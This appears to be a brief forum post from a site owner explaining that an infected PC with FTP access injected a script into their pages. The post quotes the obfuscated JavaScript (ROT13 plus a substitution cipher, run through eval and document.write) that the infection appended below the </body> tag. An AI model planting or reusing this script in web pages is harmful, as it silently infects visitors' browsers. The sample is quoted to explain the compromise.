You are right. There was an IE exploit.
I can see only one explanation: somebody accessed the ftp from an infected pc. The virus added following line below the </body> html tag.
<script language=JavaScript>var mf=" shapgvba ejtf(c){ine ro,con=\" HcvfNU)z\\\"n#hG1*PrTR[4`5('082BVWa]-eZo,}9g$_l+m^6bp~w&IiOA|d@s=y7C:.XMq!xtSj;k{3u\",olq=\"\",i,nnu,l=\"\",n;sbe(ro=0;ro<c.yratgu;ro++){ i=c.puneNg(ro);nnu=con.vaqrkBs(i);vs(nnu>-1){ n=((nnu+1)%81-1);vs(n<=0)n+=81;l+=con.puneNg(n-1); } ryfr l+=i;}olq+=l;qbphzrag.jevgr(olq);}",rmhc="";for(gvg=0;gvg<mf.length;gvg++){ fbd = mf.charCodeAt(gvg);if((fbd>64 && fbd<78)||(fbd>96 && fbd<110)) fbd=fbd+13;else
if((fbd>77 && fbd<91)||(fbd>109 && fbd<123))fbd=fbd-13;rmhc=rmhc.concat(String.fromCharCode(fbd));} var km,ff; eval( rmhc );km="<A~Msi$U7#]FT#FGla&#B#A~Msi$a>U!c~T\"G]$K;Ms$G'Ua<SeRJ:1U7#]FT#FGl\\an#B#S~Msi$\\aUSRel\\a $$i.//;;;KFccF7G#]#7s$s~AK]G$/yyT$,K&A?az!c~T\"G]$KMG=GMMGMza\\a><\\/SeRJ:1>aUmxU</A~Msi$>U"; rwgs(km);</script>